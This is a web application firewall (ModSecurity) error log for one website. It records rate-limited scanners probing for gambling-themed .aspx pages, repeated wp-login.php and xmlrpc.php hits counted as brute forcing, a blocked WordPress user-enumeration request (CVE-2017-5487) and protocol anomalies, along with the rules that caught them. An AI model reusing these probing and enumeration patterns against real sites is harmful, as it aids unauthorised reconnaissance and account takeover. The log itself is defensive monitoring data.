[Fri Feb 20 18:16:43.618110 2026] [:error] [pid 46012:tid 46018] [client 217.182.139.33:53826] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZg0izXz-GTvuxLwgUEazAAAAUQ"]
[Fri Feb 20 18:16:46.103861 2026] [:error] [pid 46012:tid 46029] [client 217.182.139.33:41550] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZg0jjXz-GTvuxLwgUEa0QAAAU8"]
[Fri Feb 20 18:16:48.583010 2026] [:error] [pid 54552:tid 54558] [client 217.182.139.33:41566] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZg0kMe4t0F-_sbWepYPQAAAAMM"]
[Fri Feb 20 18:16:50.910300 2026] [:error] [pid 46012:tid 46035] [client 217.182.139.33:41590] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZg0kjXz-GTvuxLwgUEa4QAAAVU"]
[Fri Feb 20 18:16:53.387673 2026] [:error] [pid 59127:tid 59135] [client 217.182.139.33:41604] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZg0lXSltzl55Qz-09gePgAAAQY"]
[Fri Feb 20 18:16:55.702467 2026] [:error] [pid 54460:tid 54481] [client 217.182.139.33:54294] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZg0l8oUiaZ-Z7V-F99NEwAAABA"]
[Fri Feb 20 18:16:58.043067 2026] [:error] [pid 59127:tid 59138] [client 217.182.139.33:54304] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZg0mnSltzl55Qz-09geRQAAAQk"]
[Fri Feb 20 18:17:00.525505 2026] [:error] [pid 59127:tid 59141] [client 217.182.139.33:54318] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZg0nHSltzl55Qz-09geSQAAAQw"]
[Fri Feb 20 18:17:02.851846 2026] [:error] [pid 59127:tid 59152] [client 217.182.139.33:54348] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZg0nnSltzl55Qz-09geTQAAARc"]
[Fri Feb 20 18:17:05.322921 2026] [:error] [pid 59127:tid 59138] [client 217.182.139.33:37282] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZg0oXSltzl55Qz-09geUgAAAQk"]
[Fri Feb 20 18:17:07.653034 2026] [:error] [pid 54460:tid 54472] [client 217.182.139.33:37286] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZg0o8oUiaZ-Z7V-F99NHwAAAAc"]
[Fri Feb 20 18:17:10.157884 2026] [:error] [pid 59127:tid 59148] [client 217.182.139.33:37310] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZg0pnSltzl55Qz-09geWwAAARM"]
[Fri Feb 20 18:23:33.471414 2026] [:error] [pid 54461:tid 54501] [client 43.156.168.214:48718] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZg2JS372fkN0w39NDObpgAAAEk"]
[Fri Feb 20 19:05:45.507445 2026] [:error] [pid 59127:tid 59132] [client 173.249.254.52:53711] [client 173.249.254.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.254.52, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZhACXSltzl55Qz-09grmwAAAQM"]
[Fri Feb 20 19:24:51.448858 2026] [:error] [pid 46012:tid 46014] [client 35.226.125.165:49482] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZhEgzXz-GTvuxLwgUE4CAAAAUA"]
[Fri Feb 20 20:55:29.958008 2026] [:error] [pid 54460:tid 54465] [client 59.125.102.227:41262] [client 59.125.102.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZhZwcoUiaZ-Z7V-F9-GsQAAAAA"]
[Fri Feb 20 21:28:21.463028 2026] [:error] [pid 54552:tid 54567] [client 178.156.131.150:43084] [client 178.156.131.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.156.131.150, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZhhdce4t0F-_sbWepZF9QAAAMw"]
[Fri Feb 20 22:09:33.053366 2026] [:error] [pid 54552:tid 54574] [client 85.214.10.56:42334] [client 85.214.10.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.10.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZhrHce4t0F-_sbWepZRSQAAANM"]
[Fri Feb 20 22:16:11.435141 2026] [:error] [pid 54460:tid 54475] [client 49.51.243.156:56050] [client 49.51.243.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZhsq8oUiaZ-Z7V-F9-l6QAAAAo"]
[Fri Feb 20 23:37:33.862521 2026] [:error] [pid 54520:tid 54535] [client 85.214.228.221:57314] [client 85.214.228.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.228.221, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZh_vWQaQX7QUBqXcyEjgAAAAI0"]
[Sat Feb 21 00:46:55.212330 2026] [:error] [pid 46012:tid 46020] [client 182.44.2.148:52254] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZiP_zXz-GTvuxLwgUGfogAAAUY"]
[Sat Feb 21 00:56:07.355935 2026] [:error] [pid 25617:tid 25672] [client 140.82.42.198:46808] [client 140.82.42.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.82.42.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZiSJ9qt50qKix2zKUSMgQAAAYg"]
[Sat Feb 21 01:24:38.809511 2026] [:error] [pid 46012:tid 46031] [client 209.42.22.188:35910] [client 209.42.22.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.22.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZiY1jXz-GTvuxLwgUGp9QAAAVE"]
[Sat Feb 21 01:32:31.149627 2026] [:error] [pid 59127:tid 59136] [client 206.189.164.86:57252] [client 206.189.164.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.164.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZiar3Sltzl55Qz-09iRxQAAAQc"]
[Sat Feb 21 01:32:39.789759 2026] [:error] [pid 59127:tid 59134] [client 206.189.164.86:57252] [client 206.189.164.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aZiat3Sltzl55Qz-09iR1gAAAQU"]
[Sat Feb 21 01:32:43.327515 2026] [:error] [pid 59127:tid 59141] [client 206.189.164.86:57252] [client 206.189.164.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.164.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZiau3Sltzl55Qz-09iR2AAAAQw"], referer: https://vetstars.com.au/wp-login.php
[Sat Feb 21 01:32:57.627378 2026] [:error] [pid 54520:tid 54525] [client 206.189.164.86:63783] [client 206.189.164.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.164.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZiayWQaQX7QUBqXcyFH1gAAAIM"], referer: https://vetstars.com.au/wp-login.php
[Sat Feb 21 01:33:10.332710 2026] [:error] [pid 46012:tid 46029] [client 206.189.164.86:50496] [client 206.189.164.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.164.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZia1jXz-GTvuxLwgUGsVwAAAU8"], referer: https://vetstars.com.au/wp-login.php
[Sat Feb 21 01:33:23.032387 2026] [:error] [pid 46012:tid 46014] [client 206.189.164.86:53506] [client 206.189.164.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.164.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZia4zXz-GTvuxLwgUGsZgAAAUA"], referer: https://vetstars.com.au/wp-login.php
[Sat Feb 21 01:38:27.505105 2026] [:error] [pid 59127:tid 59138] [client 18.195.110.144:53894] [client 18.195.110.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.195.110.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZicE3Sltzl55Qz-09iTnQAAAQk"]
[Sat Feb 21 01:55:21.397867 2026] [:error] [pid 25617:tid 25678] [client 192.155.90.254:43786] [client 192.155.90.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.155.90.254, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZigCdqt50qKix2zKUSmrwAAAY4"]
[Sat Feb 21 02:02:51.652392 2026] [:error] [pid 25617:tid 25687] [client 149.202.76.92:53748] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.202.76.92, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZihy9qt50qKix2zKUSqEgAAAZY"]
[Sat Feb 21 02:06:33.017657 2026] [:error] [pid 54461:tid 54501] [client 34.208.164.12:45554] [client 34.208.164.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.208.164.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZiiqS372fkN0w39NDMczQAAAEk"]
[Sat Feb 21 02:18:26.366244 2026] [:error] [pid 59127:tid 59153] [client 82.165.10.186:39668] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.10.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZilcnSltzl55Qz-09idfAAAARg"]
[Sat Feb 21 05:18:41.862431 2026] [:error] [pid 22558:tid 22572] [client 216.73.216.48:8289] [client 216.73.216.48] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZjPsSrVaIb2gXsVbDoXCwAAAQw"]
[Sat Feb 21 06:02:56.113629 2026] [:error] [pid 40871:tid 40879] [client 155.133.142.66:64669] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.142.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZjaEDqDikjdiOZeJyXCvQAAAMY"]
[Sat Feb 21 08:07:49.067493 2026] [:error] [pid 40757:tid 40816] [client 147.135.213.107:36936] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZj3Vag_MKVL7zhH7dxhAQAAAFU"]
[Sat Feb 21 08:07:51.535432 2026] [:error] [pid 40756:tid 40770] [client 147.135.213.107:56398] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZj3VwNlDP60sLYgqXIEcAAAAAQ"]
[Sat Feb 21 08:07:53.924636 2026] [:error] [pid 22558:tid 22568] [client 147.135.213.107:56410] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZj3WSrVaIb2gXsVbDpq5gAAAQg"]
[Sat Feb 21 08:07:56.396773 2026] [:error] [pid 40757:tid 40810] [client 147.135.213.107:56424] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZj3XKg_MKVL7zhH7dxhEQAAAE8"]
[Sat Feb 21 08:07:58.889913 2026] [:error] [pid 40871:tid 40879] [client 147.135.213.107:56430] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZj3XjqDikjdiOZeJyX7gAAAAMY"]
[Sat Feb 21 08:08:01.390255 2026] [:error] [pid 22558:tid 22577] [client 147.135.213.107:56086] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZj3YSrVaIb2gXsVbDpq8QAAARE"]
[Sat Feb 21 08:08:03.751888 2026] [:error] [pid 40871:tid 40897] [client 147.135.213.107:56088] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZj3YzqDikjdiOZeJyX7jAAAANg"]
[Sat Feb 21 08:08:06.239226 2026] [:error] [pid 40757:tid 40816] [client 147.135.213.107:56092] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZj3Zqg_MKVL7zhH7dxhIgAAAFU"]
[Sat Feb 21 08:08:08.722872 2026] [:error] [pid 40756:tid 40781] [client 147.135.213.107:56098] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZj3aANlDP60sLYgqXIEiAAAAA8"]
[Sat Feb 21 08:08:11.226254 2026] [:error] [pid 40756:tid 40775] [client 147.135.213.107:58174] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZj3awNlDP60sLYgqXIEjAAAAAk"]
[Sat Feb 21 08:08:13.575889 2026] [:error] [pid 40757:tid 40818] [client 147.135.213.107:58190] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZj3bag_MKVL7zhH7dxhQgAAAFc"]
[Sat Feb 21 08:08:16.067417 2026] [:error] [pid 40757:tid 40801] [client 147.135.213.107:58192] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZj3cKg_MKVL7zhH7dxhTQAAAEY"]
[Sat Feb 21 08:08:18.568700 2026] [:error] [pid 40871:tid 40874] [client 147.135.213.107:58200] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZj3cjqDikjdiOZeJyX7lwAAAME"]
[Sat Feb 21 08:08:21.073127 2026] [:error] [pid 40757:tid 40798] [client 147.135.213.107:58212] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZj3dag_MKVL7zhH7dxhVAAAAEM"]
[Sat Feb 21 08:08:23.593098 2026] [:error] [pid 40871:tid 40883] [client 147.135.213.107:34770] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZj3dzqDikjdiOZeJyX7twAAAMo"]
[Sat Feb 21 08:08:25.939319 2026] [:error] [pid 40871:tid 40884] [client 147.135.213.107:34778] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZj3eTqDikjdiOZeJyX7xwAAAMs"]
[Sat Feb 21 08:08:28.416881 2026] [:error] [pid 40871:tid 40892] [client 147.135.213.107:34794] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZj3fDqDikjdiOZeJyX7zwAAANM"]
[Sat Feb 21 08:08:30.936119 2026] [:error] [pid 40757:tid 40811] [client 147.135.213.107:34806] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZj3fqg_MKVL7zhH7dxhaQAAAFA"]
